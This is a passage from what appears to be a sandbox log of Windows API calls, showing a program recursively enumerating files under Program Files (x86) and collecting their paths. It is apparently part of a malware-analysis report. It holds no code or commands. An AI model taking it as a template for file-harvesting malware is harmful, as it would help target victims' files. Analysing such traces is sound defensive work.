Files (x86)\\Internet Explorer\\msdbg2.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll" [0029.824] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.824] lstrcmpW (lpString1="pdm.dll", lpString2=".") returned 1 [0029.824] lstrcmpW (lpString1="pdm.dll", lpString2="..") returned 1 [0029.824] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.824] lstrlenW (lpString="pdm.dll") returned 7 [0029.824] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="pdm.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll" [0029.824] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll") returned 48 [0029.824] lstrcpyW (in: lpString1=0x461380, lpString2="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll" [0029.824] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.824] lstrcmpW (lpString1="SIGNUP", lpString2=".") returned 1 [0029.824] lstrcmpW (lpString1="SIGNUP", lpString2="..") returned 1 [0029.824] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.824] lstrlenW (lpString="SIGNUP") returned 6 [0029.824] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="SIGNUP" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP" [0029.824] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\" [0029.824] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\") returned 48 [0029.824] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*" [0029.824] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0029.824] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.824] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.824] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.824] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.824] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.824] lstrcmpW (lpString1="install.ins", lpString2=".") returned 1 [0029.824] lstrcmpW (lpString1="install.ins", lpString2="..") returned 1 [0029.824] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\") returned 48 [0029.824] lstrlenW (lpString="install.ins") returned 11 [0029.824] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\", lpString2="install.ins" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins" [0029.824] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins") returned 59 [0029.824] lstrcpyW (in: lpString1=0x4613f0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins" [0029.824] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0029.824] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0029.824] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.825] lstrcmpW (lpString1="sqmapi.dll", lpString2=".") returned 1 [0029.825] lstrcmpW (lpString1="sqmapi.dll", lpString2="..") returned 1 [0029.825] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.825] lstrlenW (lpString="sqmapi.dll") returned 10 [0029.825] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll" [0029.825] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll") returned 51 [0029.825] lstrcpyW (in: lpString1=0x461470, lpString2="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll" [0029.825] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.825] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.825] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.825] lstrcmpW (lpString1="Java", lpString2=".") returned 1 [0029.825] lstrcmpW (lpString1="Java", lpString2="..") returned 1 [0029.825] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0029.825] lstrlenW (lpString="Java") returned 4 [0029.825] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Java" | out: lpString1="c:\\Program Files (x86)\\Java") returned="c:\\Program Files (x86)\\Java" [0029.825] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Java\\") returned="c:\\Program Files (x86)\\Java\\" [0029.825] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0029.825] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Java\\*") returned="c:\\Program Files (x86)\\Java\\*" [0029.825] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Java\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.825] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.825] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.825] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.825] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.825] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.825] lstrcmpW (lpString1="analysts-dose.exe", lpString2=".") returned 1 [0029.825] lstrcmpW (lpString1="analysts-dose.exe", lpString2="..") returned 1 [0029.825] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0029.825] lstrlenW (lpString="analysts-dose.exe") returned 17 [0029.825] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="analysts-dose.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\analysts-dose.exe") returned="c:\\Program Files (x86)\\Java\\analysts-dose.exe" [0029.825] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\analysts-dose.exe") returned 45 [0029.825] lstrcpyW (in: lpString1=0x4614e0, lpString2="c:\\Program Files (x86)\\Java\\analysts-dose.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\analysts-dose.exe") returned="c:\\Program Files (x86)\\Java\\analysts-dose.exe" [0029.825] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.825] lstrcmpW (lpString1="diamond_hospitals_designs_www.exe", lpString2=".") returned 1 [0029.825] lstrcmpW (lpString1="diamond_hospitals_designs_www.exe", lpString2="..") returned 1 [0029.825] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0029.825] lstrlenW (lpString="diamond_hospitals_designs_www.exe") returned 33 [0029.825] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="diamond_hospitals_designs_www.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe") returned="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe" [0029.825] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe") returned 61 [0029.825] lstrcpyW (in: lpString1=0x461548, lpString2="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe") returned="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe" [0029.825] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.825] lstrcmpW (lpString1="jre7", lpString2=".") returned 1 [0029.825] lstrcmpW (lpString1="jre7", lpString2="..") returned 1 [0029.825] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0029.825] lstrlenW (lpString="jre7") returned 4 [0029.825] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="jre7" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7") returned="c:\\Program Files (x86)\\Java\\jre7" [0029.825] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\") returned="c:\\Program Files (x86)\\Java\\jre7\\" [0029.826] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0029.826] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\*") returned="c:\\Program Files (x86)\\Java\\jre7\\*" [0029.826] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Java\\jre7\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0029.826] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.826] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.826] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.826] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.826] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.826] lstrcmpW (lpString1="bin", lpString2=".") returned 1 [0029.826] lstrcmpW (lpString1="bin", lpString2="..") returned 1 [0029.826] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0029.826] lstrlenW (lpString="bin") returned 3 [0029.826] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="bin" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\bin") returned="c:\\Program Files (x86)\\Java\\jre7\\bin" [0029.826] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.826] lstrcmpW (lpString1="COPYRIGHT", lpString2=".") returned 1 [0029.826] lstrcmpW (lpString1="COPYRIGHT", lpString2="..") returned 1 [0029.826] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0029.826] lstrlenW (lpString="COPYRIGHT") returned 9 [0029.826] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="COPYRIGHT" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT") returned="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" [0029.826] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT") returned 42 [0029.826] lstrcpyW (in: lpString1=0x4615d0, lpString2="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT") returned="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" [0029.826] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.826] lstrcmpW (lpString1="lib", lpString2=".") returned 1 [0029.826] lstrcmpW (lpString1="lib", lpString2="..") returned 1 [0029.826] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0029.826] lstrlenW (lpString="lib") returned 3 [0029.826] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="lib" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\lib") returned="c:\\Program Files (x86)\\Java\\jre7\\lib" [0029.826] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.826] lstrcmpW (lpString1="LICENSE", lpString2=".") returned 1 [0029.826] lstrcmpW (lpString1="LICENSE", lpString2="..") returned 1 [0029.826] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0029.826] lstrlenW (lpString="LICENSE") returned 7 [0029.826] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="LICENSE" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\LICENSE") returned="c:\\Program Files (x86)\\Java\\jre7\\LICENSE" [0029.826] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\LICENSE") returned 40 [0029.826] lstrcpyW (in: lpString1=0x461630, lpString2="c:\\Program Files (x86)\\Java\\jre7\\LICENSE" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\LICENSE") returned="c:\\Program Files (x86)\\Java\\jre7\\LICENSE" [0029.826] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.826] lstrcmpW (lpString1="README.txt", lpString2=".") returned 1 [0029.826] lstrcmpW (lpString1="README.txt", lpString2="..") returned 1 [0029.826] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0029.826] lstrlenW (lpString="README.txt") returned 10 [0029.826] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="README.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\README.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\README.txt" [0029.826] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\README.txt") returned 43 [0029.826] lstrcpyW (in: lpString1=0x461690, lpString2="c:\\Program Files (x86)\\Java\\jre7\\README.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\README.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\README.txt" [0029.826] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.826] lstrcmpW (lpString1="release", lpString2=".") returned 1 [0029.826] lstrcmpW (lpString1="release", lpString2="..") returned 1 [0029.826] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0029.827] lstrlenW (lpString="release") returned 7 [0029.827] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="release" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\release") returned="c:\\Program Files (x86)\\Java\\jre7\\release" [0029.827] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\release") returned 40 [0029.827] lstrcpyW (in: lpString1=0x4616f0, lpString2="c:\\Program Files (x86)\\Java\\jre7\\release" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\release") returned="c:\\Program Files (x86)\\Java\\jre7\\release" [0029.827] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.827] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2=".") returned 1 [0029.827] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2="..") returned 1 [0029.827] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0029.827] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34 [0029.827] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="THIRDPARTYLICENSEREADME-JAVAFX.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" [0029.827] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 67 [0029.827] lstrcpyW (in: lpString1=0x461750, lpString2="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" [0029.827] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.827] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2=".") returned 1 [0029.827] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2="..") returned 1 [0029.827] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0029.827] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27 [0029.827] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="THIRDPARTYLICENSEREADME.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" [0029.827] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt") returned 60 [0029.827] lstrcpyW (in: lpString1=0x4617e0, lpString2="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" [0029.827] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.827] lstrcmpW (lpString1="Welcome.html", lpString2=".") returned 1 [0029.827] lstrcmpW (lpString1="Welcome.html", lpString2="..") returned 1 [0029.827] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0029.827] lstrlenW (lpString="Welcome.html") returned 12 [0029.827] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="Welcome.html" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html") returned="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html" [0029.827] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html") returned 45 [0029.827] lstrcpyW (in: lpString1=0x461868, lpString2="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html") returned="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html" [0029.827] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0029.827] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0029.827] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.827] lstrcmpW (lpString1="turner_construction_solve_cialis.exe", lpString2=".") returned 1 [0029.827] lstrcmpW (lpString1="turner_construction_solve_cialis.exe", lpString2="..") returned 1 [0029.827] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0029.827] lstrlenW (lpString="turner_construction_solve_cialis.exe") returned 36 [0029.827] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="turner_construction_solve_cialis.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe") returned="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe" [0029.827] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe") returned 64 [0029.827] lstrcpyW (in: lpString1=0x4618d0, lpString2="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe") returned="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe" [0029.827] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.827] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.827] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.827] lstrcmpW (lpString1="Microsoft Office", lpString2=".") returned 1 [0029.827] lstrcmpW (lpString1="Microsoft Office", lpString2="..") returned 1 [0029.827] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0029.827] lstrlenW (lpString="Microsoft Office") returned 16 [0029.827] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Microsoft Office" | out: lpString1="c:\\Program Files (x86)\\Microsoft Office") returned="c:\\Program Files (x86)\\Microsoft Office" [0029.827] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft Office", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft Office\\") returned="c:\\Program Files (x86)\\Microsoft Office\\" [0029.827] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft Office\\") returned 40 [0029.827] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft Office\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft Office\\*") returned="c:\\Program Files (x86)\\Microsoft Office\\*" [0029.828] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft Office\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.828] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.828] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.828] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.828] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.828] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.828] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.828] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.828] lstrcmpW (lpString1="Microsoft OneDrive", lpString2=".") returned 1 [0029.828] lstrcmpW (lpString1="Microsoft OneDrive", lpString2="..") returned 1 [0029.828] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0029.828] lstrlenW (lpString="Microsoft OneDrive") returned 18 [0029.828] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Microsoft OneDrive" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive") returned="c:\\Program Files (x86)\\Microsoft OneDrive" [0029.828] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\" [0029.828] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned 42 [0029.828] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\*") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\*" [0029.828] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft OneDrive\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.828] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.828] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.828] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.828] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.828] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.828] lstrcmpW (lpString1="farehave.exe", lpString2=".") returned 1 [0029.828] lstrcmpW (lpString1="farehave.exe", lpString2="..") returned 1 [0029.828] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned 42 [0029.828] lstrlenW (lpString="farehave.exe") returned 12 [0029.828] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\", lpString2="farehave.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe" [0029.828] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe") returned 54 [0029.828] lstrcpyW (in: lpString1=0x460858, lpString2="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe" [0029.828] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.828] lstrcmpW (lpString1="OneDriveSetup.exe", lpString2=".") returned 1 [0029.828] lstrcmpW (lpString1="OneDriveSetup.exe", lpString2="..") returned 1 [0029.828] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned 42 [0029.828] lstrlenW (lpString="OneDriveSetup.exe") returned 17 [0029.828] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\", lpString2="OneDriveSetup.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe" [0029.828] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe") returned 59 [0029.828] lstrcpyW (in: lpString1=0x461960, lpString2="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe" [0029.828] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.829] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.829] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.829] lstrcmpW (lpString1="Microsoft.NET", lpString2=".") returned 1 [0029.829] lstrcmpW (lpString1="Microsoft.NET", lpString2="..") returned 1 [0029.829] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0029.829] lstrlenW (lpString="Microsoft.NET") returned 13 [0029.829] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Microsoft.NET" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET") returned="c:\\Program Files (x86)\\Microsoft.NET" [0029.829] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\") returned="c:\\Program Files (x86)\\Microsoft.NET\\" [0029.829] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\") returned 37 [0029.829] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\*") returned="c:\\Program Files (x86)\\Microsoft.NET\\*" [0029.829] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft.NET\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.829] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.829] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.829] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.829] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.829] FindNextFileW (in: hFindFile=0x795a28, 